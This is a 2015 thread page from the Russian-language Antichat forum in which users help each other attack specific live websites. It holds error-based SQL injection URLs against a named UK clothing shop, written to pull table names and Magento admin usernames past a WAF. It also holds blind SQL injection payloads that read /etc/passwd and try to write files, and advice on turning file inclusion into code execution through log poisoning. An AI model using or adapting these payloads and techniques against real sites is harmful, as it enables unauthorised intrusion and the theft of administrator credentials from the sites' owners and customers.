HOME    FORUMS    MEMBERS    RECENT POSTS    LOG IN  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
Перезагрузить страницу Ваши вопросы по уязвимостям.
   
Ответ
Страница 2436 из 2438 « Первая < 14361936233623862426 2432 2433 2434 2435 2436 2437 2438 >
 
Опции темы Поиск в этой теме Опции просмотра

  #24351  
Старый 22.04.2015, 11:21
faza02
Banned
Регистрация: 21.11.2007
Сообщений: 181
Провел на форуме:
1066435

Репутация: 1013
По умолчанию
Цитата:
Сообщение от vikler  
vikler said:
↑
Ребяяяяяяят, подскажите, можно тут как-то раскрутить? Ни разу не раскручивала подобного рода
Код:
Code:
http://photo{REMOVE}vogue.arta{REMOVE}ndcommerce.com/res{REMOVE}ults.php?type=search&search=fashion+or+beauty'&sortby=dtc&page=2
из запроса вырезаются кавычки, но перед этим экранируются - поэтому и появляется ошибка. однако внедирть ничего после кавычки не вышло
 
Ответить с цитированием

  #24352  
Старый 22.04.2015, 11:48
sunnyfruit
Guest
Сообщений: n/a
Провел на форуме:
5548

Репутация: 0
По умолчанию
Цитата:
Сообщение от faza02  
faza02 said:
↑
как минимум нужен инклуд, да. все остальное стандартно, пытайтесь записать ваш код в еррор логи, ацес логи, логи авторизации
http://itix.pp.ua/2013/01/06/безопасность-null-byte-lfi-local-file-include-и-rfi-remote-file-include/
у вас lfi?
Да, LFI

акксесс логи обновляются каждый раз при заходе с 1 компа на любую веб страницу сайта + картинки, логи как минимум от 100мб и наврятли подлежат адекватному инклуду

Еррор логи я думаю меньше намного и иклудить стоит именно их.

А где логи авторизации хранятся?
 
Ответить с цитированием

  #24353  
Старый 22.04.2015, 12:45
faza02
Banned
Регистрация: 21.11.2007
Сообщений: 181
Провел на форуме:
1066435

Репутация: 1013
По умолчанию
Цитата:
Сообщение от sunnyfruit  
sunnyfruit said:
↑
Да, LFI
акксесс логи обновляются каждый раз при заходе с 1 компа на любую веб страницу сайта + картинки, логи как минимум от 100мб и наврятли подлежат адекватному инклуду
Еррор логи я думаю меньше намного и иклудить стоит именно их.
А где логи авторизации хранятся?
http://www.lanmaster53.com/2011/05/l...ion-using-ssh/

посмотрите еще соседей, возможно получится проинклудить что-нибудь у них. в error_log, обычно, пишется refferer

совсем забыл: https://rdot.org/forum/showthread.php?t=1134
 
Ответить с цитированием

  #24354  
Старый 22.04.2015, 16:39
sunnyfruit
Guest
Сообщений: n/a
Провел на форуме:
5548

Репутация: 0
По умолчанию
Цитата:
Сообщение от faza02  
faza02 said:
↑
http://www.lanmaster53.com/2011/05/l...ion-using-ssh/
посмотрите еще соседей, возможно получится проинклудить что-нибудь у них. в error_log, обычно, пишется refferer
совсем забыл:
https://rdot.org/forum/showthread.php?t=1134
Первая статья кул!

Со второй статьей не понял.

Идет речь о замедленной передаче $_FILES в temp директорию?

Что за файл /tmp/lastline?
 
Ответить с цитированием

  #24355  
Старый 22.04.2015, 16:46
faza02
Banned
Регистрация: 21.11.2007
Сообщений: 181
Провел на форуме:
1066435

Репутация: 1013
По умолчанию
Цитата:
Сообщение от sunnyfruit  
sunnyfruit said:
↑
Первая статья кул!
Со второй статьей не понял.
Идет речь о замедленной передаче $_FILES в temp директорию?
Что за файл /tmp/lastline?
оттуда вам нужен только сплойт. https://rdot.org/forum/showpost.php?...4&postcount=11

указываете путь до phpinfo, /etc/passwd и запускаете
 
Ответить с цитированием

  #24356  
Старый 23.04.2015, 03:42
palec2006
Guest
Сообщений: n/a
Провел на форуме:
9263

Репутация: 8
По умолчанию
помогите люди добрые.

слепая:

PHP код:
PHP:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#DD0000"]'or(if(load_file('[/COLOR][COLOR="#007700"]/[/COLOR][COLOR="#0000BB"]etc[/COLOR][COLOR="#007700"]/[/COLOR][COLOR="#0000BB"]passwd[/COLOR][COLOR="#DD0000"]') is not NULL,sleep(1),0))or'[/COLOR][/COLOR] 
PHP код:
PHP:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#DD0000"]'or(if(ascii(substring((load_file('[/COLOR][COLOR="#007700"]/[/COLOR][COLOR="#0000BB"]etc[/COLOR][COLOR="#007700"]/[/COLOR][COLOR="#0000BB"]passwd[/COLOR][COLOR="#DD0000"]')),461))>=117,sleep(1),0))or'[/COLOR][/COLOR] 
фильтрации нет, пролазит всё,

обрезать or' не могу

с заливкой борода:

PHP код:
PHP:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#DD0000"]'or(select 1 into outfile '[/COLOR][COLOR="#007700"]/[/COLOR][COLOR="#0000BB"]tmp[/COLOR][COLOR="#007700"]/[/COLOR][COLOR="#0000BB"]1.txt[/COLOR][COLOR="#DD0000"]')or'[/COLOR][/COLOR] 
не дает результата

есть варианты залится?
 
Ответить с цитированием

  #24357  
Старый 23.04.2015, 08:53
Br@!ns
Guest
Сообщений: n/a
Провел на форуме:
179197

Репутация: 25
По умолчанию
Код:
Code:
https://www.childsplayclothing.co.uk/designers/pr'*updatexml(1,concat(0x3A,(select+database())),1)*'
Помогите составить запрос, чтоб вытащить имена таблиц. Непонятно что фильтруется.

Код:
Code:
https://www.childsplayclothing.co.uk/designers/pr'*updatexml(1,concat(0x3A,(select+table_name+from+infromation_schema.tables+limit+0,1)),1)*'
результата не дает.
 
Ответить с цитированием

  #24358  
Старый 23.04.2015, 10:55
faza02
Banned
Регистрация: 21.11.2007
Сообщений: 181
Провел на форуме:
1066435

Репутация: 1013
По умолчанию
Цитата:
Сообщение от Br@!ns  
Br@!ns said:
↑
Код:
Code:
https://www.childsplayclothing.co.uk/designers/pr'*updatexml(1,concat(0x3A,(select+database())),1)*'
Помогите составить запрос, чтоб вытащить имена таблиц. Непонятно что фильтруется.
Код:
Code:
https://www.childsplayclothing.co.uk/designers/pr'*updatexml(1,concat(0x3A,(select+table_name+from+infromation_schema.tables+limit+0,1)),1)*'
результата не дает.
Код:
Code:
https://www.childsplayclothing.co.uk/designers/pr'*updatexml(1,concat(0x3A,(select(group_concat(table_name))from(information_schema.tables))),1)*'
Цитата:
Сообщение от palec2006  
palec2006 said:
↑
помогите люди добрые.
слепая:
PHP код:
PHP:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#DD0000"]'or(if(load_file('[/COLOR][COLOR="#007700"]/[/COLOR][COLOR="#0000BB"]etc[/COLOR][COLOR="#007700"]/[/COLOR][COLOR="#0000BB"]passwd[/COLOR][COLOR="#DD0000"]') is not NULL,sleep(1),0))or'[/COLOR][/COLOR] 
PHP код:
PHP:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#DD0000"]'or(if(ascii(substring((load_file('[/COLOR][COLOR="#007700"]/[/COLOR][COLOR="#0000BB"]etc[/COLOR][COLOR="#007700"]/[/COLOR][COLOR="#0000BB"]passwd[/COLOR][COLOR="#DD0000"]')),461))>=117,sleep(1),0))or'[/COLOR][/COLOR] 
фильтрации нет, пролазит всё,
обрезать
or'
не могу
с заливкой борода:
PHP код:
PHP:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#DD0000"]'or(select 1 into outfile '[/COLOR][COLOR="#007700"]/[/COLOR][COLOR="#0000BB"]tmp[/COLOR][COLOR="#007700"]/[/COLOR][COLOR="#0000BB"]1.txt[/COLOR][COLOR="#DD0000"]')or'[/COLOR][/COLOR] 
не дает результата
есть варианты залится?
дайте ссылку глянуть
 
Ответить с цитированием

  #24359  
Старый 23.04.2015, 11:08
palec2006
Guest
Сообщений: n/a
Провел на форуме:
9263

Репутация: 8
По умолчанию
Цитата:
Сообщение от faza02  
faza02 said:
↑
дайте ссылку глянуть
извините, слишком жирный рес чтоб светить
 
Ответить с цитированием

  #24360  
Старый 24.04.2015, 03:23
Br@!ns
Guest
Сообщений: n/a
Провел на форуме:
179197

Репутация: 25
По умолчанию
нужный запрос:

Код:
Code:
https://www.childsplayclothing.co.uk/designers/pr'*updatexml(1,concat(0x3A,(select(mid(group_concat(username),1,1032))from(magento_admin_user))),1)*'
WAF запрещает последовательные записи в url строке select и admin_user как я понял

Помогите выполнить запрос
 
Ответить с цитированием
Ответ
Страница 2436 из 2438 « Первая < 14361936233623862426 2432 2433 2434 2435 2436 2437 2438 >



« Предыдущая тема | Следующая тема »
Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Ваши ламерские приколы (Ну когда только комп появился) PEPSICOLA Болталка 188 23.05.2010 10:05
Ваши любимые компьютерные игры PEPSICOLA Болталка 280 19.08.2009 00:01
Ваши телеги... F-IFTY Болталка 13 18.08.2009 18:22
Вопросы по Ipb 2.0 Voodoo_People Сценарии/CMF/СMS 26 15.02.2005 22:57



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ